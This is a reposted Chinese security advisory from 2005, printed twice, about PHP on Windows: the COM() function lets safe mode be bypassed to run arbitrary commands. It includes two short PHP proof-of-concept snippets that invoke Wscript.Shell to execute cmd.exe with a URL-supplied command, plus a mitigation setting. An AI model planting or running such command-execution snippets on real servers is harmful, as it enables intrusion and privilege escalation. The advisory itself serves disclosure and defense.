PHP COM组件调用绕过安全模式执行任意文件漏洞
2008-10-06 12:25
816 查看
创建时间:2005-03-22
文章属性:原创
文章提交:kevin1986 (kevin7c2_at_yahoo.com.cn)
发现日期:2005-02-10
受影响的系统:
Windows 下支持COM()函数的PHP版本
发现人:
Saiy/我非我 From http://www.wrsky.com & kEvin1986
Saiy:dawangs_at_etang.com
kEvin1986:Garnett1986_at_hotmail.com
我非我:wofeiwo_at_bugkidz.org
我非我:
描述:
Windows平台下的PHP脚本平台存在一个安全漏洞,使得PHP设置即使在安全模式下(safe_mode),仍旧允许攻击者使用COM()函数来创建系统组件来执行任意命令.
漏洞出现的原因是由于在安全模式下的PHP平台虽然system();pathru()函数被禁止,但是com.allow_dcom的设置依旧是为true.以至于攻击者可以使用COM()函数创建系统组件对象来运行系统命令.如果是默认的Apache设置或者Web服务器以Loacalsystem权限或Administrators权限运行,攻击者可以使用这个漏洞来提升权限.
测试程序:
-----------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/*需要Windows Script Host 5.6支持*/
<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$phpexec=$phpwsh->exec("cmd.exe /c $cmd");
$execoutput=$wshexec->stdout();
$result=$execoutput->readall();
echo $result;
?>
/*Windows Script Host 5.6以下版本支持*/
<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$phpwsh->run("cmd.exe /c $cmd > c://inetpub//wwwroot//result.txt");
?>
将以上代码保存成*.php文件之后可以在浏览器中执行
http://www.target.com/simple.php?cmd=[Command]
---------------------------------------------------------------
补丁:
目前PHP官方未回复发现者的信件且未发布任何相关补丁.
建议:
在设置安全模式之后,将 com.allow_dcom=true 设置为 com.allow_dcom=false即可.
感谢:
www.4ngel.net安全小组的积极测试.
文章属性:原创
文章提交:kevin1986 (kevin7c2_at_yahoo.com.cn)
发现日期:2005-02-10
受影响的系统:
Windows 下支持COM()函数的PHP版本
发现人:
Saiy/我非我 From http://www.wrsky.com & kEvin1986
Saiy:dawangs_at_etang.com
kEvin1986:Garnett1986_at_hotmail.com
我非我:wofeiwo_at_bugkidz.org
我非我:
描述:
Windows平台下的PHP脚本平台存在一个安全漏洞,使得PHP设置即使在安全模式下(safe_mode),仍旧允许攻击者使用COM()函数来创建系统组件来执行任意命令.
漏洞出现的原因是由于在安全模式下的PHP平台虽然system();pathru()函数被禁止,但是com.allow_dcom的设置依旧是为true.以至于攻击者可以使用COM()函数创建系统组件对象来运行系统命令.如果是默认的Apache设置或者Web服务器以Loacalsystem权限或Administrators权限运行,攻击者可以使用这个漏洞来提升权限.
测试程序:
-----------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/*需要Windows Script Host 5.6支持*/
<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$phpexec=$phpwsh->exec("cmd.exe /c $cmd");
$execoutput=$wshexec->stdout();
$result=$execoutput->readall();
echo $result;
?>
/*Windows Script Host 5.6以下版本支持*/
<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$phpwsh->run("cmd.exe /c $cmd > c://inetpub//wwwroot//result.txt");
?>
将以上代码保存成*.php文件之后可以在浏览器中执行
http://www.target.com/simple.php?cmd=[Command]
---------------------------------------------------------------
补丁:
目前PHP官方未回复发现者的信件且未发布任何相关补丁.
建议:
在设置安全模式之后,将 com.allow_dcom=true 设置为 com.allow_dcom=false即可.
感谢:
www.4ngel.net安全小组的积极测试.
相关文章推荐
- U-Mail邮件服务系统任意文件上传+执行漏洞(runtime缺陷与验证绕过)
- PHP调用Linux的命令行执行文件压缩命令
- smarty模板文件中执行php代码 调用php函数的方法 使用对象等
- WordPress wp-includes/functions.php脚本远程任意代码执行漏洞
- Fckeditor 2.4.2 php任意上传文件漏洞
- phpcms前台任意代码执行漏洞(php<5.3)
- [备忘]ASP.NET 惊爆新安全漏洞 攻击者可访问任意文件
- PHP 不安全文件权限漏洞
- CVE-2015-2348(PHP任意文件上传漏洞)
- WordPress Think Responsive Themes ‘upload_settings_image.php’任意文件上传漏洞
- PHP任意文件上传漏洞
- Fckeditor <=2.4.2 For php 任意上传文件漏洞
- WordPress User Photo ‘user-photo.php’任意文件上传漏洞
- Bash 远程任意代码执行安全漏洞(最严重漏洞)
- WordPress NextGEN Gallery ‘upload.php’任意文件上传漏洞
- AttacheCase 任意脚本执行安全漏洞(CVE-2018-0675)
- 解决问题:vs 使用命令行参数调试时出现"当前项目设置指定将使用特定的安全权限对该项目进行调试.在此模式下,命令行参数将不会传递给可执行文件."
- PHP调用Linux的命令行执行文件压缩命令&&创建文件夹修改权限
- Bash 远程任意代码执行安全漏洞(最严重漏洞)
- Bash 远程任意代码执行安全漏洞(最严重漏洞)